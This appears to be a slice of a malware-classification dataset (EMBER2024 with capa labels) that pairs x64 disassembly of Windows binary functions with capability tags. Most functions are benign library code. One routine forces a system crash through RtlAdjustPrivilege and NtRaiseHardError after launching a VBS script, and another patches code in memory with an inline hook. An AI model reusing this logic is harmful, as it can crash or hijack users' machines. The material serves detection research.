joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140101770
Capabilities:
Hash data using sha512

Disassembly:
movabs rax, 0x6a09e667f3bcc908
mov qword [rcx], rax
movabs rax, 0xbb67ae8584caa73b
mov qword [rcx + 8], rax
movabs rax, 0x3c6ef372fe94f82b
mov qword [rcx + 0x10], rax
movabs rax, 0xa54ff53a5f1d36f1
mov qword [rcx + 0x18], rax
movabs rax, 0x510e527fade682d1
mov qword [rcx + 0x20], rax
movabs rax, 0x9b05688c2b3e6c1f
mov qword [rcx + 0x28], rax
movabs rax, 0x1f83d9abfb41bd6b
mov qword [rcx + 0x30], rax
movabs rax, 0x5be0cd19137e2179
mov qword [rcx + 0x38], rax
movabs rax, 0x4000000000
mov qword [rcx + 0xd0], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x40], xmm0
mov eax, 1
ret

Function at 0x1401052e0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x80
mov rbx, r8
mov r12, rdx
mov r14, rcx
mov r10d, dword [rsp + 0xe0]
mov rax, qword [0x140158018]
xor rax, rsp
mov qword [rsp + 0x78], rax
movsxd r8, dword [rcx + 0x18]
lea ecx, [r10 + 4]
mov esi, ecx
shr esi, 6
xor edx, edx
mov edi, 0
cmp rsi, r8
jae 0x140105338
mov rdi, qword [r9 + rsi*8]
shr rdi, cl
shl edi, 5
and edi, 0x20
lea ecx, [r10 + 3]
mov eax, ecx
shr eax, 6
cmp rax, r8
jae 0x140105353
mov rdx, qword [r9 + rax*8]
shr rdx, cl
shl edx, 4
and edx, 0x10
or edx, edi
lea ecx, [r10 + 2]
mov eax, ecx
shr eax, 6
xor edi, edi
mov esi, 0
cmp rax, r8
jae 0x140105377
mov rsi, qword [r9 + rax*8]
shr rsi, cl
shl esi, 3
and esi, 8
or edx, esi
lea ecx, [r10 + 1]
mov eax, ecx
shr eax, 6
cmp rax, r8
jae 0x140105394
mov rdi, qword [r9 + rax*8]
shr rdi, cl
shl edi, 2
and edi, 4
or edx, edi
mov eax, r10d
shr eax, 6
xor edi, edi
cmp rax, r8
jae 0x1401053b2
mov rdi, qword [r9 + rax*8]
mov ecx, r10d
shr rdi, cl
add edi, edi
and edi, 2
or edx, edi
test r10d, r10d
je 0x1401053d8
dec r10d
mov eax, r10d
shr eax, 6
xor edi, edi
cmp rax, r8
jae 0x1401053d6
mov rdi, qword [r9 + rax*8]
mov ecx, r10d
shr rdi, cl
and edi, 1
or edx, edi
mov r15d, edx
shr r15, 5
lea eax, [r15 - 1]
neg r15
and eax, edx
xor edx, 0x3f
mov r13d, r15d
and r13d, edx
or r13d, eax
mov rax, r13
shr rax, 1
and r13d, 1
add r13, rax
xor esi, esi
mov r8d, 0xd8
mov rcx, r12
xor edx, edx
call fcn.1400a05e0
mov rdi, r13
not rdi
mov r8, rsi
xor r8, r13
dec r8
and r8, rdi
sar r8, 0x3f
mov qword [rsp + 0x20], r12
mov rcx, r14
mov rdx, r12
mov r9, rbx
call fcn.140102430
inc rsi
add rbx, 0xd8
cmp rsi, 0x11
jne 0x140105419
movabs rax, 0xaaaaaaaaaaaaaaaa
lea rdx, [rsp + 0x30]
mov qword [rdx + 0x40], rax
movaps xmm0, xmmword [0x140136a00]
movaps xmmword [rdx + 0x30], xmm0
movaps xmmword [rdx + 0x20], xmm0
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm0
lea r8, [r12 + 0x48]
mov rcx, r14
call fcn.140104460
movsxd rax, dword [r14 + 0x40]
test rax, rax
je 0x1401054b8
and r15d, 1
lea rcx, [r15 - 1]
neg r15
xor edx, edx
mov rbx, qword [rsp + rdx*8 + 0x30]
and rbx, r15
mov rdi, qword [r12 + rdx*8 + 0x48]
and rdi, rcx
or rdi, rbx
mov qword [r12 + rdx*8 + 0x48], rdi
inc rdx
cmp rax, rdx
jne 0x140105498
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14009d8b0
nop
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1401069a0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov r12, r9
mov r13, r8
mov rdi, rdx
mov r14, rcx
mov r15, qword [rsp + 0x108]
mov rax, qword [rsp + 0x100]
mov rcx, qword [0x140158018]
xor rcx, rsp
mov qword [rsp + 0x80], rcx
test rax, rax
jne 0x140106a00
lea rcx, [0x14016b080]
lea rdx, [0x1401007f0]
call fcn.14008d7a0
lea rax, [0x14016b088]
test r15, r15
cmove r15, rax
mov ebx, dword [rax + 4]
lea rcx, [rbx + rbx]
add rcx, 2
cmp rcx, rdi
jbe 0x140106a60
mov dword [rsp + 0x20], 0x14a
lea r9, str..._.._third_party_boringssl_src_crypto_fipsmodule_rsa_padding.c
xor esi, esi
mov ecx, 4
xor edx, edx
mov r8d, 0x7e
call fcn.14011db40
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14009d8b0
mov eax, esi
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rbx + rbx]
mov rbp, rcx
not rbp
lea rdx, [rdi + rbp]
dec rdx
cmp rdx, r12
jae 0x140106a96
mov dword [rsp + 0x20], 0x150
lea r9, str..._.._third_party_boringssl_src_crypto_fipsmodule_rsa_padding.c
xor esi, esi
mov ecx, 4
xor edx, edx
mov r8d, 0x72
jmp 0x140106a35
dec rdi
or rcx, 1
cmp rdi, rcx
jae 0x140106aaf
mov dword [rsp + 0x20], 0x155
jmp 0x140106a1f
mov rdx, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xf0]
mov byte [r14], 0
lea r8, [r14 + rbx]
inc r8
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
xor esi, esi
mov qword [rsp + 0x38], r8
xor r9d, r9d
call fcn.140048060
test eax, eax
je 0x140106a3a
mov rsi, rdi
sub rsi, r12
add rbp, rsi
mov rcx, qword [rsp + 0x38]
je 0x140106b17
mov rax, qword [rsp + 0x38]
lea rcx, [rax + rbx]
xor edx, edx
mov r8, rbp
call fcn.1400a05e0
mov rcx, qword [rsp + 0x38]
inc r14
mov rax, rbx
not rax
add rsi, rax
mov byte [rcx + rsi], 1
test r12, r12
mov rbp, rcx
je 0x140106b44
lea rcx, [rdi + rbp]
sub rcx, r12
sub rcx, rbx
mov rdx, r13
mov r8, r12
call fcn.1400a01d0
lea r8, [0x140144920]
mov rcx, r14
mov rdx, rbx
call fcn.140081650
sub rdi, rbx
mov rcx, rdi
call fcn.1400832c0
test rax, rax
je 0x140106bfb
mov r12, rax
mov qword [rsp + 0x20], r15
mov rcx, rax
mov rdx, rdi
mov r8, r14
mov r9, rbx
call fcn.14004ab20
xor esi, esi
test eax, eax
je 0x140106bee
test rdi, rdi
je 0x140106ba0
xor eax, eax
mov cl, byte [r12 + rax]
xor byte [rbp + rax], cl
inc rax
cmp rdi, rax
jne 0x140106b90
movaps xmm0, xmmword [0x140136a00]
lea rcx, [rsp + 0x40]
movaps xmmword [rcx + 0x30], xmm0
movaps xmmword [rcx + 0x20], xmm0
movaps xmmword [rcx + 0x10], xmm0
movaps xmmword [rcx], xmm0
mov qword [rsp + 0x20], r15
mov rdx, rbx
mov r8, rbp
mov r9, rdi
call fcn.14004ab20
test eax, eax
je 0x140106bee
mov esi, 1
test rbx, rbx
je 0x140106bee
xor eax, eax
mov cl, byte [rsp + rax + 0x40]
xor byte [r14 + rax], cl
inc rax
cmp rbx, rax
jne 0x140106bde
mov rcx, r12
call fcn.140083300
jmp 0x140106a3a
mov dword [rsp + 0x20], 0x169
lea r9, str..._.._third_party_boringssl_src_crypto_fipsmodule_rsa_padding.c
xor esi, esi
mov ecx, 4
xor edx, edx
mov r8d, 0x41
jmp 0x140106a35
Function at 0x14011dec0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test rdx, rdx
je 0x14011defc
mov rsi, rdx
mov rdi, rcx
mov r14d, 0xffffffff
cmp rsi, r14
mov ebx, 0xffffffff
cmovb rbx, rsi
mov rcx, rdi
mov edx, ebx
call sub.ADVAPI32.dll_SystemFunction036
test al, al
je 0x14011df06
add rdi, rbx
sub rsi, rbx
jne 0x14011deda
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.1400aef40
int3

Function at 0x140125980
Capabilities:
Encrypt data using curve25519

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x110
mov rbx, r8
mov rsi, rdx
mov r14, rcx
mov rax, qword [0x140158018]
xor rax, rsp
mov qword [rsp + 0x108], rax
movaps xmm0, xmmword [0x140136a00]
lea rdi, [rsp + 0xc0]
movaps xmmword [rdi + 0x30], xmm0
movaps xmmword [rdi + 0x20], xmm0
movaps xmmword [rdi + 0x10], xmm0
movaps xmmword [rdi], xmm0
mov edx, 0x20
mov rcx, r8
mov r8, rdi
call fcn.1401009f0
and byte [rdi], 0xf8
mov al, byte [rdi + 0x1f]
and al, 0x3f
or al, 0x40
mov byte [rdi + 0x1f], al
lea r15, [rsp + 0x20]
mov r8d, 0xa0
mov rcx, r15
mov dl, 0xaa
call fcn.1400a05e0
lea r8, [0x14014a7e0]
mov rcx, r15
mov rdx, rdi
call fcn.140092e90
mov rcx, r14
mov rdx, r15
call fcn.140124ac0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsi + 0x20], xmm0
movups xmmword [rsi + 0x30], xmm1
mov rcx, qword [rsp + 0x108]
xor rcx, rsp
call fcn.14009d8b0
nop
add rsp, 0x110
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x2fc4d0fb0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4d19b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f4108]
test eax, eax
je 0x2fc4d1a4a
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f4110]
mov qword [rbp - 8], rax
jmp 0x2fc4d1a2e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d1a22
cmp qword [rbp - 0x10], 0
je 0x2fc4d1a22
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d19e8
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d1a4b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d1b50
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d1b78
mov eax, 0
jmp 0x2fc4d1bc6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d1ba1
mov eax, 0
jmp 0x2fc4d1bc6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d1bc1
mov eax, 0
jmp 0x2fc4d1bc6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d1bcc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d1c4a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d1c41
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d1c41
mov rax, qword [rbp - 8]
jmp 0x2fc4d1c5f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d1c14
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140009ea7
Capabilities:
Create directory

Disassembly:
push rbx
sub rsp, 0x60
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov rax, qword [0x1400a4568]
xor rax, rsp
mov qword [rsp + 0x50], rax
push rcx
pop rbx
nop
cmp qword [rcx + 0x10], 0
je 0x140009f82
call fcn.14000fd46
test al, al
jne 0x140009f82
nop
push rbx
pop rcx
call fcn.14000aabf
test al, al
je 0x140009f51
push rbx
nop
pop rdx
lea rcx, [rsp + 0x30]
call fcn.14000e01b
nop
mov rcx, rax
call fcn.140009ea7
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140009f51
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
push rcx
nop
pop rax
cmp rdx, 0x1000
jb 0x140009f4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009fd2
call fcn.140015a66
push rbx
pop rcx
nop
cmp qword [rbx + 0x18], 8
jb 0x140009f62
mov rcx, qword [rbx]
sub edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
or eax, eax
jne 0x140009f82
push rbx
pop rcx
nop
call fcn.14000fd46
test al, al
je 0x140009f95
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140015b92
add rsp, 0x60
pop rbx
ret
lea rcx, str.Failure_processing_application_bundle.
call fcn.14000d491
mov rcx, rbx
call fcn.140009a89
mov rdx, rax
lea rcx, str.Failed_to_create_directory___s__for_extracting_bundled_files
call fcn.14000d491
mov dword [rsp + 0x20], 0x800080a0
lea rdx, [0x140032050]
lea rcx, [rsp + 0x20]
call fcn.140016c8c
int3
call fcn.1400140bd
int3
Function at 0x14000d491
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x68
mov qword [rsp + 0x38], 0xfffffffffffffffe
lea rbp, [0x1400a4d20]
mov qword [rsp + 0x40], rbp
push rbp
pop rcx
nop
call sub.KERNEL32.dll_EnterCriticalSection
nop
lea r15, [rsp + 0xa8]
call fcn.140009435
mov r14, rax
mov rcx, qword [rax]
or rcx, 1
mov qword [rsp + 0x28], r15
sub edi, edi
mov qword [rsp + 0x20], rdi
mov r9, qword [rsp + 0xa0]
xor r8d, r8d
sub edx, edx
call fcn.14001410b
mov ecx, 0xffffffff
or eax, eax
cmovs eax, ecx
inc eax
movsxd rbx, eax
lea r8, [rsp + 0x30]
nop
push rbx
pop rdx
lea rcx, [rsp + 0x48]
call fcn.14000d133
nop
mov rcx, qword [r14]
or rcx, 1
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
mov r9, qword [rsp + 0xa0]
mov r8, rbx
mov rbx, qword [rsp + 0x48]
mov rdx, rbx
call fcn.14001410b
mov ecx, dword [0x1400a52b8]
mov rax, qword gs:[0x58]
mov edx, 8
mov rsi, qword [rax + rcx*8]
add rsi, rdx
mov rax, qword [rsi]
or rax, rax
jne 0x14000d5a1
lea ecx, [rdi + 2]
call fcn.140014129
mov rdx, rax
mov rcx, rbx
call fcn.140014135
lea ecx, [rdi + 2]
call fcn.140014129
mov rdx, rax
lea ecx, [rdi + 0xa]
call fcn.14001412f
jmp 0x14000d5aa
push rbx
nop
pop rcx
call qword [0x140024530]
push rbx
nop
pop rcx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [0x1400a4d50], 0
je 0x14000d60d
mov ecx, 2
call fcn.140014129
mov rdi, qword [0x1400a4d48]
cmp rdi, rax
jne 0x14000d5e4
cmp qword [rsi], 0
je 0x14000d60d
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8, qword [rsp + 0xa0]
push rdi
nop
pop rdx
mov rcx, qword [r14]
call fcn.14001413b
mov ecx, 0xa
nop
push rdi
pop rdx
call fcn.14001412f
nop
test rbx, rbx
je 0x14000d657
mov rax, qword [rsp + 0x58]
sub rax, rbx
sar rax, 1
lea rdx, [rax + rax]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000d64e
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d66d
nop
push rbx
pop rcx
call fcn.140015a66
nop
nop
push rbp
pop rcx
call sub.KERNEL32.dll_LeaveCriticalSection
nop
add rsp, 0x68
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
call fcn.1400140bd
nop
int3

Function at 0x14000f369
Capabilities:
Query environment variable

Disassembly:
movzx eax, byte [str.d38cc827_e34f_4453_9df4_1e796e9f1d07]
cmp al, 0x65
je 0x14000f37b
xor al, al
ret
jmp fcn.140010fc7
Function at 0x140010105
Capabilities:
Create directory
Get common file path

Disassembly:
push rbx
sub rsp, 0x240
mov rax, qword [0x1400a4568]
xor rax, rsp
mov qword [rsp + 0x230], rax
push rcx
pop rbx
nop
lea rdx, [rsp + 0x20]
mov ecx, 0x105
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x1400101de
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140010147
lea rdx, [rsp + 0x20]
push rbx
pop rcx
nop
call fcn.140005d09
xor edx, edx
push rbx
nop
pop rcx
call fcn.140011b76
test al, al
je 0x1400101de
lea rdx, str..net
nop
push rbx
pop rcx
call fcn.14000dddc
sub edx, edx
push rbx
nop
pop rcx
call fcn.140011b76
test al, al
je 0x14001019d
mov al, 1
jmp 0x1400101e0
cmp qword [rbx + 0x18], 8
push rbx
pop rcx
nop
jb 0x1400101ae
mov rcx, qword [rbx]
sub edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
or eax, eax
jne 0x1400101cf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400101de
sub edx, edx
push rbx
nop
pop rcx
call fcn.140011b76
jmp 0x1400101e0
xor al, al
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140015b92
add rsp, 0x240
pop rbx
ret
Function at 0x140010fc7
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
push rcx
nop
pop rbp
push rdx
nop
pop rsi
xor ecx, ecx
push rdx
nop
pop rax
cmp qword [rdx + 0x18], 8
mov qword [rdx + 0x10], rcx
jb 0x140010ff4
mov rax, qword [rdx]
mov word [rax], cx
sub r8d, r8d
nop
push rbp
pop rcx
sub edx, edx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov r14d, eax
test eax, eax
jne 0x14001105c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xcb
je 0x140011049
call qword [sym.imp.KERNEL32.dll_GetLastError]
or eax, eax
jle 0x140011037
movzx eax, ax
or eax, 0x80070000
mov r8d, eax
lea rcx, str.Failed_to_read_environment_variable___s___HRESULT:_0x_X
mov rdx, rbp
call fcn.14000d491
xor al, al
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rbx
mov eax, 2
mul r14
mov rbx, 0xffffffffffffffff
mov qword [rsp + 0x38], rdi
cmovo rax, rbx
mov rcx, rax
call fcn.140015bf8
mov r8d, r14d
push rax
nop
pop rdx
mov rcx, rbp
push rax
pop rdi
nop
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
or eax, eax
jne 0x1400110d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
or eax, eax
jle 0x1400110b1
movzx eax, ax
or eax, 0x80070000
mov r8d, eax
lea rcx, str.Failed_to_read_environment_variable___s___HRESULT:_0x_X
nop
push rbp
pop rdx
call fcn.14000d491
xor al, al
jmp 0x1400110f8
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x1400110d2
mov r8, rbx
mov rdx, rdi
nop
push rsi
pop rcx
call fcn.140005d09
mov rcx, rdi
call fcn.140015a66
mov al, 1
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140015e09
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140015ec3
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x140015ec3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140015ec3
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x140015e99
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140015e90
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140015e9b
add rdx, 0x28
jmp 0x140015e69
sub edx, edx
test rdx, rdx
jne 0x140015eab
xor al, al
jmp 0x140015ecc
cmp dword [rdx + 0x24], 0
jge 0x140015ebc
xor al, al
jmp 0x140015ecc
mov al, 1
jmp 0x140015ecc
xor al, al
jmp 0x140015ecc
add rsp, 0x18
ret

Function at 0x1400162f1
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
nop
push rcx
pop rbx
sub ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
nop
push rbx
pop rcx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
push rax
pop rcx
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x1400167b4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
sub ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
or rax, rax
je 0x14001681a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001681a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001681a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001681a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001681a
cmp dword [rcx + 0xf8], 0
je 0x14001681a
mov al, 1
jmp 0x14001681c
xor al, al
add rsp, 0x28
ret

Function at 0x1400199a8
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
push rcx
pop rbx
nop
lea r9, [0x14002ce38]
sub ecx, ecx
lea r8, [0x14002ce30]
lea rdx, [0x140029448]
call fcn.140019798
or rax, rax
je 0x1400199e5
push rbx
nop
pop rcx
add rsp, 0x20
pop rbx
jmp qword [0x140024530]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x140019a8c
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
push rdx
nop
pop rbx
lea r9, [0x14002ce50]
mov edi, ecx
lea rdx, [0x140029470]
mov ecx, 3
lea r8, [0x14002ce48]
call fcn.140019798
nop
push rbx
pop rdx
mov ecx, edi
or rax, rax
je 0x140019ad3
call qword [0x140024530]
jmp 0x140019ad9
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140023333
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001f6d3
Function at 0x140001000
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rcx, str.start_vol.vbs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x140002298]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
lea r9, [rsp + 0x30]
mov dl, 1
lea ecx, [r8 + 0x13]
call rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
lea rcx, str.sound.wav
xor edx, edx
mov rbx, rax
call qword [sym.imp.WINMM.dll_PlaySoundW]
lea rax, [rsp + 0x34]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc000008e
call rbx
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400010e0
add rsp, 0x40
pop rbx
ret
Function at 0x140001150
Capabilities:
Execute shellcode via indirect call

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov ebx, r8d
mov rsi, rcx
mov rax, qword [0x1400a9c40]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp r8d, 2
jne 0x1400011b7
mov dword [0x1400aa77c], 0x10
movups xmm0, xmmword [rsi]
movups xmmword [0x1400aa780], xmm0
movups xmm0, xmmword [rsi]
movups xmmword [0x1400aa790], xmm0
mov word [0x1400aa790], 0xba49
mov qword [0x1400aa792], rdx
mov word [0x1400aa79a], 0xff41
mov byte [0x1400aa79c], 0xe2
mov eax, 0x10
jmp 0x1400011bd
mov eax, dword [0x1400aa77c]
mov dword [rsp + 0x24], 0
mov edi, eax
lea r9, [rsp + 0x24]
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001271
xor eax, eax
test ebx, ebx
setne al
shl rax, 4
lea rcx, [0x1400aa77c]
lea rdx, [rax + rcx]
add rdx, 4
mov rcx, rsi
mov r8, rdi
call fcn.14004afa0
mov rbx, qword [0x1400aa7a0]
test rbx, rbx
jne 0x140001243
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [0x1400aa7a0], rax
test rax, rax
je 0x140001254
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov rdx, rsi
mov r8d, edi
call rbx
mov r8d, dword [rsp + 0x24]
lea r9, [rsp + 0x24]
mov rcx, rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 1
jmp 0x140001273
xor esi, esi
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001860
mov eax, esi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret

Function at 0x140001290
Capabilities:
